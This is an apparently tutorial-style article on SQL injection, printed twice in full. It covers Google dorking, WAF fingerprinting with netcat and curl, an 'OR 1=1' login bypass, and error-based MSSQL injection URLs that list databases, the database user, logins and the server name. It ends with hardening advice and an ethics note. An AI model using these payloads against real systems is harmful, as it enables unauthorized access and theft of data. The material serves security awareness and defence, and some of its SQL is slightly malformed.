SQL Injection
Database has been a common repository for many applications that were been develop as a centralized location to store the information. However over the year, we hear a lot of incident around the world regarding issue such as SQL injection and no one take note on it till they have been hit.
There are different type of databases are available in the market which the primary function is to store and retrieve data when it was been requested by other software application. Mostly this type of architecture consists of a web which are facing the internet. The function of this web interface it serve as a UI for the users to use. An application server does exists which have a direct connection to the databases it self. No matter what is the size of the infrastructure, the DB will be important repository to store data.
Since this architecture was been implemented in all of the company, there is also security vulnerability that exist on the system which part of it also known as SQL injection
The devastating method which also known as SQL injection, many people say they know what it
is all about. But how many of them are practicing on securing their server?
What exactly is SQL injection? It is the vulnerability that results when you give an attacker the ability
to influence the Structured Query Language (SQL) queries that an application passes to a back-end
database which could potential leak all the sensitive information such as credit card, phone number
and etc.
In nut shell, the vulnerabilities has probably existed since SQL databases were first connected to
Web applications.
What it mean?
When you do host an application that facing the internet, having a highest range of firewall from the
vendor that doesn’t solve the problem. As the firewall can only defeat some of the automation attack
using tools such as nmap and etc. For some of the manual attack, attacker will try to manipulate the
value and see whether there is any data that can be leak from the website.
Where to start?
In the world of the cloud, the above might be an easy way for you to perform, but there are many
ways of checking of the vulnerabilities especially with the great search engine such as Google.
First of all, think all of us know what does Google does. Yes, it is a search engine. By having knowledge on using some of the Google operator, you can start find those vulnerabilities across different countries.
At the examples (Listing 1 and Listing 2), you can use the above command to search for a certain
string for a certain website on a database error.The reason we execute this task is to know
the type of the database that was been implemented.
On the other hand, if you would like to search for a specific files, you also can use the following:
* site:targetcompany.com filetype:doc
* site:targetcompany.com filetype:xlsx
* site:targetcompany.com filetype:ppt
* site:targetcompany.com filetype:pptx
* site:targetcompany.com filetype:txt
* site:targetcompany.com filetype:mdb
The above google operator command will try to check if there is any files that have been uploaded
with the certain extention. However, the likelihood you get a jackpot will be minimum.
What would be your area of focus will be the sql injection part by looking into the parameter that
you can manipulate.
In another example will be using Google to find a list of website which might have the potential
vulnerabilities by using inurl=?id and press enter.
Application layer firewall
Of course the company won’t be easily let you come into the network without authorization. But
incase for an extra security measure, they might implement and installed application layer firewall
to protect the application. But how do you find out those information?.
Well, always believe, human is the weakness in the entire security ecosystem. Sometimes, social
engineering might work. But in the other hand, we also can use some of the script such as netcat
and curl to find those. The first example, will use netcat by entering the following command into the
shell:
$ (echo “GET /cmd.exe HTTP/1.1”; echo “Host:
mytargetcompany.com”; echo) | nc targetcompany.com
| grep “501 Method Not Implemented”
If the server responds with error code “501 Method Not Implemented” then it is running mod_security.In another way, use also can use curl and look for the error 501:
curl -i http://targetcompany.com/cmd.exe | grep
“501 Method”
How it really works?
Imagine you have a piece of web application that have with the username and password authentication. When you type in the username and password, what you mostly see is the process of login in. But do you really know what really happen at the backend?. Have some examples as per below on the simple application what it would happen when you try to login. What it does is, when
the user press enter, it will pass all the information back to the db and check whether those criteria
are met. If its met, then you will be able to login.If not then you will get password invalid or access
deny.
Select * from users where user_id= `ckwong` and password = `ckwongpassword`
And if the piece of web application doesn’t do a proper validation, SQL injection could occur by
performing the following query
Select * from users where user_id= ``OR 1 = 1; /* and password = `*/--`
There is also other string that you would have interest to test on the sql injection (Listing 3).
Integer and String Based Injection
Let said you have found a website and you are targeting the website, you will see the page will be
display as
http://[site]/page.asp?id=1
As you can see the ?id=1 this is where we have interest to manipulate, you can start doing by altering
the number to http://[site]/page.asp?id=2. What would be your interest is when you having
an error, when you try to input something that the system can process. This shown that the system
is vulnerable to SQL injection.
http://[site]/page.asp?id=1 having 1=1--
If the web application is vulnerable to SQL injection you would see some error mentioning Column
[COLUMN NAME] is invalid in the select list because it is not contained in an aggregate function
and there is no GROUP BY clause. While we’re on the subject of HAVING 1=1, it is
possible to continue enumerating column names from the current table that is being queried using
this syntax:
http://[site]/page.asp?id=1 GROUP BY table name_1.
COLUMN NAME_1 having 1=1-- Column [table name _ 1.COLUMN NAME _ 2] is invalid
in the select list because it is not contained in an aggregate function and there is no GROUP BY
clause.
http://[site]/page.asp?id=1 GROUP BY table
name_1.COLUMN NAME_1,table name_1.COLUMN NAME_2
having 1=1--
Listing the databases from the web
When you performing an injection, you must also need to check which the databases that you have interest to validate are and also depending on your scope. Mostly the perpetrator will have interest to look into the databases with the name of password, user and also payment. You might need to validate each of the db by using the sample command as per above. If there have more than 20 db, that mean you need to run 20 times.
http://[site]/page.asp?id=1 or 1=convert(SELECT
DB_NAME(0))--
http://[site]/page.asp?id=1 or 1=convert(SELECT
DB_NAME(1))--
http://[site]/page.asp?id=1 or 1=convert(SELECT
DB_NAME(2))--
There is some other options too, when you want to check the DB as per below
http://[site]/page.asp?id=1 or 1 in (SELECT name
FROM master..sysdatabases)--
Error Sql Injection – Extract Database User
Some of the attackers would do by hack in and bring down the DB. I always believe a good hacker
will try to mask their track and see how long they can sustain in the system. The next steps will be
knowing the user id.
http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value ‹[DB USER]› to a column of data type int.
They are also other options for manipulation
http://[site]/page.asp?id=1 or 1 in (SELECT user_ name())--
http://[site]/page.asp?id=1 or 1 in (SELECT loginame FROM master..sysprocesses WHERE spid = @@ SPID)--
http://[site]/page.asp?id=1 or 1 in ((SELECT name FROM master..syslogins)--
Checking the server name
The other areas that you might have interest would be checking the servername. The reason on this part is important is to perform a guessing on the hostname of the server and from there you will know how many server there have. Let me give you examples, if you have found out the server name it is something like this serverwb01P. You will understand how they number their server and how they plan the name. In this you have notice, the name it is more toward on the first web server and it is the production server because it is end with P. From there you can assume there is more server name with that type of naming convention.
On the technical part you can use the following string to check the servername on the website it
self.
http://[site]/page.asp?id=1 or 1 in (SELECT @@ servername)--
So what it mean in the IT Security practices, do we need to have a standard naming convention
across all the server or we should create some random name that no one will be understand?.
Securing your perimeter
By now you should have an understanding the security measure that you need to put in to secure
your application. As far as you know, by having a highest range of firewall doesn’t help in protecting
your data.
There is something else you can do which is:
• Monitor DB traffic by using IPS and check whether there is any abnormally attempt. You must also make sure that you have a procedure to perform a health check. Updating the signature on the IPS also crucial in order to making sure it does what it suppose to be.
• Limit the length of the user input on the area they can input is important. This is also part of the protection for buffer overflow in some cases
• Disable command such as xp_cmdshell, if it’s not in used
• Validate and sanitize user input pass to the databases is important to make sure only valid input
• Custom error messages is also important, as for some cases you might have implement web
application firewall. To stop the detection, you might want to customize your error messages
so that the perpetrator can’t visualize your infrastructure.
• Isolate web server and database server it is important as well. But toward on the SQL injection
sometime this might not be applicable. For best practices, the server that are facing internet
must be relocated in DMZ.
• Use low privileged account for DB connection.
• The other areas that you might want to think of would be the backup and restoration is done
on a weekly basis, depending on the criticality of the server. There are some cases, where by
there is a backup in place, but the backup its not been validate.
• Except from securing the SQL it self, patching it is also important to make sure there are no
vulnerabilities exists on the server it self.
• Renaming the default account on the SQL to other naming to avoid account to be compromised.
• During the installation, avoid installing this to a domain controller and change the default setting
such as port.
Note on ethics
Our intention, when we started writing these articles was to give an overview what tools exists on
the market and how we can use it to secure our organization against any unidentified threats. When
you start to use the tools above, please do make sure you have this with you:
• Don’t use this for any malicious intention
• Don’t attack any organization without any approval from the top management.
• Think of the damage that you might cause
Conclusion
In this article, we have presented the abilities of the SQL injection. The author also share the common
method that have been used. The author also shows you a common attack that commonly done
by the attacker and to show how fast they compromise a system. As you can see, the growing
of the tools can help anyone to be a security pentester, while if it is been used in a wrong hands it
could bring more damage than good. Such attack is much easier to perform and more likely to succeed.The author sincerely hopes that these short articles can increase the awareness to anyone
who is handling computer or security services. In the broader sense however, we hope that the information could help you to increase the security your organization assets in better manner.
Database has been a common repository for many applications that were been develop as a centralized location to store the information. However over the year, we hear a lot of incident around the world regarding issue such as SQL injection and no one take note on it till they have been hit.
There are different type of databases are available in the market which the primary function is to store and retrieve data when it was been requested by other software application. Mostly this type of architecture consists of a web which are facing the internet. The function of this web interface it serve as a UI for the users to use. An application server does exists which have a direct connection to the databases it self. No matter what is the size of the infrastructure, the DB will be important repository to store data.
Since this architecture was been implemented in all of the company, there is also security vulnerability that exist on the system which part of it also known as SQL injection
The devastating method which also known as SQL injection, many people say they know what it
is all about. But how many of them are practicing on securing their server?
What exactly is SQL injection? It is the vulnerability that results when you give an attacker the ability
to influence the Structured Query Language (SQL) queries that an application passes to a back-end
database which could potential leak all the sensitive information such as credit card, phone number
and etc.
In nut shell, the vulnerabilities has probably existed since SQL databases were first connected to
Web applications.
What it mean?
When you do host an application that facing the internet, having a highest range of firewall from the
vendor that doesn’t solve the problem. As the firewall can only defeat some of the automation attack
using tools such as nmap and etc. For some of the manual attack, attacker will try to manipulate the
value and see whether there is any data that can be leak from the website.
Where to start?
In the world of the cloud, the above might be an easy way for you to perform, but there are many
ways of checking of the vulnerabilities especially with the great search engine such as Google.
First of all, think all of us know what does Google does. Yes, it is a search engine. By having knowledge on using some of the Google operator, you can start find those vulnerabilities across different countries.
At the examples (Listing 1 and Listing 2), you can use the above command to search for a certain
string for a certain website on a database error.The reason we execute this task is to know
the type of the database that was been implemented.
On the other hand, if you would like to search for a specific files, you also can use the following:
* site:targetcompany.com filetype:doc
* site:targetcompany.com filetype:xlsx
* site:targetcompany.com filetype:ppt
* site:targetcompany.com filetype:pptx
* site:targetcompany.com filetype:txt
* site:targetcompany.com filetype:mdb
The above google operator command will try to check if there is any files that have been uploaded
with the certain extention. However, the likelihood you get a jackpot will be minimum.
What would be your area of focus will be the sql injection part by looking into the parameter that
you can manipulate.
In another example will be using Google to find a list of website which might have the potential
vulnerabilities by using inurl=?id and press enter.
Application layer firewall
Of course the company won’t be easily let you come into the network without authorization. But
incase for an extra security measure, they might implement and installed application layer firewall
to protect the application. But how do you find out those information?.
Well, always believe, human is the weakness in the entire security ecosystem. Sometimes, social
engineering might work. But in the other hand, we also can use some of the script such as netcat
and curl to find those. The first example, will use netcat by entering the following command into the
shell:
$ (echo “GET /cmd.exe HTTP/1.1”; echo “Host:
mytargetcompany.com”; echo) | nc targetcompany.com
| grep “501 Method Not Implemented”
If the server responds with error code “501 Method Not Implemented” then it is running mod_security.In another way, use also can use curl and look for the error 501:
curl -i http://targetcompany.com/cmd.exe | grep
“501 Method”
How it really works?
Imagine you have a piece of web application that have with the username and password authentication. When you type in the username and password, what you mostly see is the process of login in. But do you really know what really happen at the backend?. Have some examples as per below on the simple application what it would happen when you try to login. What it does is, when
the user press enter, it will pass all the information back to the db and check whether those criteria
are met. If its met, then you will be able to login.If not then you will get password invalid or access
deny.
Select * from users where user_id= `ckwong` and password = `ckwongpassword`
And if the piece of web application doesn’t do a proper validation, SQL injection could occur by
performing the following query
Select * from users where user_id= ``OR 1 = 1; /* and password = `*/--`
There is also other string that you would have interest to test on the sql injection (Listing 3).
Integer and String Based Injection
Let said you have found a website and you are targeting the website, you will see the page will be
display as
http://[site]/page.asp?id=1
As you can see the ?id=1 this is where we have interest to manipulate, you can start doing by altering
the number to http://[site]/page.asp?id=2. What would be your interest is when you having
an error, when you try to input something that the system can process. This shown that the system
is vulnerable to SQL injection.
http://[site]/page.asp?id=1 having 1=1--
If the web application is vulnerable to SQL injection you would see some error mentioning Column
[COLUMN NAME] is invalid in the select list because it is not contained in an aggregate function
and there is no GROUP BY clause. While we’re on the subject of HAVING 1=1, it is
possible to continue enumerating column names from the current table that is being queried using
this syntax:
http://[site]/page.asp?id=1 GROUP BY table name_1.
COLUMN NAME_1 having 1=1-- Column [table name _ 1.COLUMN NAME _ 2] is invalid
in the select list because it is not contained in an aggregate function and there is no GROUP BY
clause.
http://[site]/page.asp?id=1 GROUP BY table
name_1.COLUMN NAME_1,table name_1.COLUMN NAME_2
having 1=1--
Listing the databases from the web
When you performing an injection, you must also need to check which the databases that you have interest to validate are and also depending on your scope. Mostly the perpetrator will have interest to look into the databases with the name of password, user and also payment. You might need to validate each of the db by using the sample command as per above. If there have more than 20 db, that mean you need to run 20 times.
http://[site]/page.asp?id=1 or 1=convert(SELECT
DB_NAME(0))--
http://[site]/page.asp?id=1 or 1=convert(SELECT
DB_NAME(1))--
http://[site]/page.asp?id=1 or 1=convert(SELECT
DB_NAME(2))--
There is some other options too, when you want to check the DB as per below
http://[site]/page.asp?id=1 or 1 in (SELECT name
FROM master..sysdatabases)--
Error Sql Injection – Extract Database User
Some of the attackers would do by hack in and bring down the DB. I always believe a good hacker
will try to mask their track and see how long they can sustain in the system. The next steps will be
knowing the user id.
http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value ‹[DB USER]› to a column of data type int.
They are also other options for manipulation
http://[site]/page.asp?id=1 or 1 in (SELECT user_ name())--
http://[site]/page.asp?id=1 or 1 in (SELECT loginame FROM master..sysprocesses WHERE spid = @@ SPID)--
http://[site]/page.asp?id=1 or 1 in ((SELECT name FROM master..syslogins)--
Checking the server name
The other areas that you might have interest would be checking the servername. The reason on this part is important is to perform a guessing on the hostname of the server and from there you will know how many server there have. Let me give you examples, if you have found out the server name it is something like this serverwb01P. You will understand how they number their server and how they plan the name. In this you have notice, the name it is more toward on the first web server and it is the production server because it is end with P. From there you can assume there is more server name with that type of naming convention.
On the technical part you can use the following string to check the servername on the website it
self.
http://[site]/page.asp?id=1 or 1 in (SELECT @@ servername)--
So what it mean in the IT Security practices, do we need to have a standard naming convention
across all the server or we should create some random name that no one will be understand?.
Securing your perimeter
By now you should have an understanding the security measure that you need to put in to secure
your application. As far as you know, by having a highest range of firewall doesn’t help in protecting
your data.
There is something else you can do which is:
• Monitor DB traffic by using IPS and check whether there is any abnormally attempt. You must also make sure that you have a procedure to perform a health check. Updating the signature on the IPS also crucial in order to making sure it does what it suppose to be.
• Limit the length of the user input on the area they can input is important. This is also part of the protection for buffer overflow in some cases
• Disable command such as xp_cmdshell, if it’s not in used
• Validate and sanitize user input pass to the databases is important to make sure only valid input
• Custom error messages is also important, as for some cases you might have implement web
application firewall. To stop the detection, you might want to customize your error messages
so that the perpetrator can’t visualize your infrastructure.
• Isolate web server and database server it is important as well. But toward on the SQL injection
sometime this might not be applicable. For best practices, the server that are facing internet
must be relocated in DMZ.
• Use low privileged account for DB connection.
• The other areas that you might want to think of would be the backup and restoration is done
on a weekly basis, depending on the criticality of the server. There are some cases, where by
there is a backup in place, but the backup its not been validate.
• Except from securing the SQL it self, patching it is also important to make sure there are no
vulnerabilities exists on the server it self.
• Renaming the default account on the SQL to other naming to avoid account to be compromised.
• During the installation, avoid installing this to a domain controller and change the default setting
such as port.
Note on ethics
Our intention, when we started writing these articles was to give an overview what tools exists on
the market and how we can use it to secure our organization against any unidentified threats. When
you start to use the tools above, please do make sure you have this with you:
• Don’t use this for any malicious intention
• Don’t attack any organization without any approval from the top management.
• Think of the damage that you might cause
Conclusion
In this article, we have presented the abilities of the SQL injection. The author also share the common
method that have been used. The author also shows you a common attack that commonly done
by the attacker and to show how fast they compromise a system. As you can see, the growing
of the tools can help anyone to be a security pentester, while if it is been used in a wrong hands it
could bring more damage than good. Such attack is much easier to perform and more likely to succeed.The author sincerely hopes that these short articles can increase the awareness to anyone
who is handling computer or security services. In the broader sense however, we hope that the information could help you to increase the security your organization assets in better manner.